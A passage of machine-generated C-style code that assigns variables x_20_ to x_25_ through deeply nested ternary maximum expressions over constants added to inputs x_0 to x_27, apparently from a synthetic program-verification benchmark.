(7.0 + x_16))? (20.0 + x_13) : ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))) > (((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) > ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26))? ((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) : ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26)))? ((20.0 + x_13) > ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))? (20.0 + x_13) : ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))) : (((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) > ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26))? ((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) : ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26))))? (((12.0 + x_0) > ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))? (12.0 + x_0) : ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))) > (((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) > ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12))? ((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) : ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12)))? ((12.0 + x_0) > ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))? (12.0 + x_0) : ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))) : (((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) > ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12))? ((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) : ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12)))) : (((20.0 + x_13) > ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))? (20.0 + x_13) : ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))) > (((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) > ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26))? ((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) : ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26)))? ((20.0 + x_13) > ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))? (20.0 + x_13) : ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : (7.0 + x_16))) : (((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) > ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26))? ((4.0 + x_17) > (18.0 + x_18)? (4.0 + x_17) : (18.0 + x_18)) : ((8.0 + x_20) > (15.0 + x_26)? (8.0 + x_20) : (15.0 + x_26)))));
x_20_ = ((((19.0 + x_1) > ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))? (19.0 + x_1) : ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))) > (((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) > ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10))? ((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) : ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10)))? ((19.0 + x_1) > ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))? (19.0 + x_1) : ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))) : (((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) > ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10))? ((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) : ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10)))) > (((19.0 + x_11) > ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))? (19.0 + x_11) : ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))) > (((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) > ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27))? ((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) : ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27)))? ((19.0 + x_11) > ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))? (19.0 + x_11) : ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))) : (((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) > ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27))? ((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) : ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27))))? (((19.0 + x_1) > ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))? (19.0 + x_1) : ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))) > (((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) > ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10))? ((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) : ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10)))? ((19.0 + x_1) > ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))? (19.0 + x_1) : ((5.0 + x_2) > (8.0 + x_4)? (5.0 + x_2) : (8.0 + x_4))) : (((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) > ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10))? ((17.0 + x_5) > (18.0 + x_6)? (17.0 + x_5) : (18.0 + x_6)) : ((10.0 + x_8) > (4.0 + x_10)? (10.0 + x_8) : (4.0 + x_10)))) : (((19.0 + x_11) > ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))? (19.0 + x_11) : ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))) > (((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) > ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27))? ((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) : ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27)))? ((19.0 + x_11) > ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))? (19.0 + x_11) : ((18.0 + x_13) > (17.0 + x_17)? (18.0 + x_13) : (17.0 + x_17))) : (((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) > ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27))? ((2.0 + x_19) > (9.0 + x_23)? (2.0 + x_19) : (9.0 + x_23)) : ((18.0 + x_26) > (1.0 + x_27)? (18.0 + x_26) : (1.0 + x_27)))));
x_21_ = ((((19.0 + x_1) > ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))? (19.0 + x_1) : ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))) > (((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) > ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11))? ((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) : ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11)))? ((19.0 + x_1) > ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))? (19.0 + x_1) : ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))) : (((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) > ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11))? ((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) : ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11)))) > (((3.0 + x_12) > ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))? (3.0 + x_12) : ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))) > (((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) > ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21))? ((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) : ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21)))? ((3.0 + x_12) > ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))? (3.0 + x_12) : ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))) : (((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) > ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21))? ((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) : ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21))))? (((19.0 + x_1) > ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))? (19.0 + x_1) : ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))) > (((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) > ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11))? ((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) : ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11)))? ((19.0 + x_1) > ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))? (19.0 + x_1) : ((14.0 + x_3) > (7.0 + x_5)? (14.0 + x_3) : (7.0 + x_5))) : (((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) > ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11))? ((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)) : ((11.0 + x_10) > (8.0 + x_11)? (11.0 + x_10) : (8.0 + x_11)))) : (((3.0 + x_12) > ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))? (3.0 + x_12) : ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))) > (((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) > ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21))? ((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) : ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21)))? ((3.0 + x_12) > ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))? (3.0 + x_12) : ((13.0 + x_14) > (13.0 + x_17)? (13.0 + x_14) : (13.0 + x_17))) : (((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) > ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21))? ((12.0 + x_18) > (14.0 + x_19)? (12.0 + x_18) : (14.0 + x_19)) : ((17.0 + x_20) > (5.0 + x_21)? (17.0 + x_20) : (5.0 + x_21)))));
x_22_ = ((((13.0 + x_0) > ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))? (13.0 + x_0) : ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))) > (((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) > ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9))? ((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) : ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9)))? ((13.0 + x_0) > ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))? (13.0 + x_0) : ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))) : (((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) > ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9))? ((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) : ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9)))) > (((12.0 + x_10) > ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))? (12.0 + x_10) : ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))) > (((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) > ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22))? ((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) : ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22)))? ((12.0 + x_10) > ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))? (12.0 + x_10) : ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))) : (((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) > ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22))? ((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) : ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22))))? (((13.0 + x_0) > ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))? (13.0 + x_0) : ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))) > (((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) > ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9))? ((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) : ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9)))? ((13.0 + x_0) > ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))? (13.0 + x_0) : ((16.0 + x_2) > (5.0 + x_4)? (16.0 + x_2) : (5.0 + x_4))) : (((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) > ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9))? ((2.0 + x_5) > (12.0 + x_7)? (2.0 + x_5) : (12.0 + x_7)) : ((10.0 + x_8) > (4.0 + x_9)? (10.0 + x_8) : (4.0 + x_9)))) : (((12.0 + x_10) > ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))? (12.0 + x_10) : ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))) > (((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) > ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22))? ((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) : ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22)))? ((12.0 + x_10) > ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))? (12.0 + x_10) : ((19.0 + x_11) > (12.0 + x_13)? (19.0 + x_11) : (12.0 + x_13))) : (((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) > ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22))? ((16.0 + x_14) > (1.0 + x_16)? (16.0 + x_14) : (1.0 + x_16)) : ((12.0 + x_17) > (16.0 + x_22)? (12.0 + x_17) : (16.0 + x_22)))));
x_23_ = ((((5.0 + x_1) > ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))? (5.0 + x_1) : ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))) > (((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) > ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9))? ((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) : ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9)))? ((5.0 + x_1) > ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))? (5.0 + x_1) : ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))) : (((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) > ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9))? ((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) : ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9)))) > (((18.0 + x_10) > ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))? (18.0 + x_10) : ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))) > (((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) > ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27))? ((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) : ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27)))? ((18.0 + x_10) > ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))? (18.0 + x_10) : ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))) : (((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) > ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27))? ((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) : ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27))))? (((5.0 + x_1) > ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))? (5.0 + x_1) : ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))) > (((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) > ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9))? ((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) : ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9)))? ((5.0 + x_1) > ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))? (5.0 + x_1) : ((12.0 + x_2) > (20.0 + x_3)? (12.0 + x_2) : (20.0 + x_3))) : (((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) > ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9))? ((8.0 + x_6) > (19.0 + x_7)? (8.0 + x_6) : (19.0 + x_7)) : ((8.0 + x_8) > (6.0 + x_9)? (8.0 + x_8) : (6.0 + x_9)))) : (((18.0 + x_10) > ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))? (18.0 + x_10) : ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))) > (((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) > ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27))? ((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) : ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27)))? ((18.0 + x_10) > ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))? (18.0 + x_10) : ((1.0 + x_11) > (4.0 + x_14)? (1.0 + x_11) : (4.0 + x_14))) : (((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) > ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27))? ((10.0 + x_19) > (10.0 + x_23)? (10.0 + x_19) : (10.0 + x_23)) : ((9.0 + x_26) > (20.0 + x_27)? (9.0 + x_26) : (20.0 + x_27)))));
x_24_ = ((((4.0 + x_0) > ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))? (4.0 + x_0) : ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))) > (((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) > ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11))? ((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) : ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11)))? ((4.0 + x_0) > ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))? (4.0 + x_0) : ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))) : (((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) > ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11))? ((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) : ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11)))) > (((20.0 + x_12) > ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))? (20.0 + x_12) : ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))) > (((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) > ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27))? ((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) : ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27)))? ((20.0 + x_12) > ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))? (20.0 + x_12) : ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))) : (((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) > ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27))? ((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) : ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27))))? (((4.0 + x_0) > ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))? (4.0 + x_0) : ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))) > (((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) > ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11))? ((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) : ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11)))? ((4.0 + x_0) > ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))? (4.0 + x_0) : ((12.0 + x_2) > (8.0 + x_5)? (12.0 + x_2) : (8.0 + x_5))) : (((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) > ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11))? ((19.0 + x_6) > (15.0 + x_9)? (19.0 + x_6) : (15.0 + x_9)) : ((2.0 + x_10) > (12.0 + x_11)? (2.0 + x_10) : (12.0 + x_11)))) : (((20.0 + x_12) > ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))? (20.0 + x_12) : ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))) > (((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) > ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27))? ((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) : ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27)))? ((20.0 + x_12) > ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))? (20.0 + x_12) : ((5.0 + x_19) > (17.0 + x_20)? (5.0 + x_19) : (17.0 + x_20))) : (((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) > ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27))? ((11.0 + x_21) > (7.0 + x_22)? (11.0 + x_21) : (7.0 + x_22)) : ((3.0 + x_25) > (2.0 + x_27)? (3.0 + x_25) : (2.0 + x_27)))));
x_25_ = ((((9.0 + x_4) > ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))? (9.0 + x_4) : ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))) > (((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) > ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16))? ((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) : ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16)))? ((9.0 + x_4) > ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))? (9.0 + x_4) : ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))) : (((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) > ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16))? ((7.0 + x_12) > (8.0 + x_13)? (7.0 + x_12) : (8.0 + x_13)) : ((4.0 + x_15) > (9.0 + x_16)? (4.0 + x_15) : (9.0 + x_16)))) > (((1.0 + x_18) > ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))? (1.0 + x_18) : ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))) > (((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) > ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27))? ((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) : ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27)))? ((1.0 + x_18) > ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))? (1.0 + x_18) : ((18.0 + x_19) > (3.0 + x_21)? (18.0 + x_19) : (3.0 + x_21))) : (((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) > ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27))? ((7.0 + x_22) > (4.0 + x_23)? (7.0 + x_22) : (4.0 + x_23)) : ((17.0 + x_25) > (3.0 + x_27)? (17.0 + x_25) : (3.0 + x_27))))? (((9.0 + x_4) > ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))? (9.0 + x_4) : ((7.0 + x_7) > (14.0 + x_8)? (7.0 + x_7) : (14.0 + x_8))) > (((7.0 + x_12) > (8.0 + 